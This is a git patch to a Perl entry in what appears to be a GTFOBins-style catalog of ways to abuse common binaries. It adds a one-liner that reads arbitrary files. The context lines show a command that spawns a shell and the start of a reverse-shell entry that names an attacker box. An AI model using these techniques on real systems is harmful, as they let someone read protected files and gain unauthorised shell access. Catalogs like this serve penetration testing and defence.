From 844181be3647792ce8cd646f62165ed55a8b42c3 Mon Sep 17 00:00:00 2001
From: "Mr. Robot" <t0thkr1s@icloud.com>
Date: Sun, 2 May 2021 11:48:51 +0200
Subject: [PATCH] add file read function to perl

---
 data/perl.json | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/data/perl.json b/data/perl.json
index b1c382a..38acd0e 100644
--- a/data/perl.json
+++ b/data/perl.json
@@ -5,6 +5,11 @@
         "code": "perl -e 'exec \"/bin/sh\";'"
       }
     ],
+    "file-read": [
+      {
+        "code": "perl -ne print [file]"
+      }
+    ],
     "reverse-shell": [
       {
         "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
@@ -27,4 +32,4 @@
       }
     ]
   }
-}
\ No newline at end of file
+}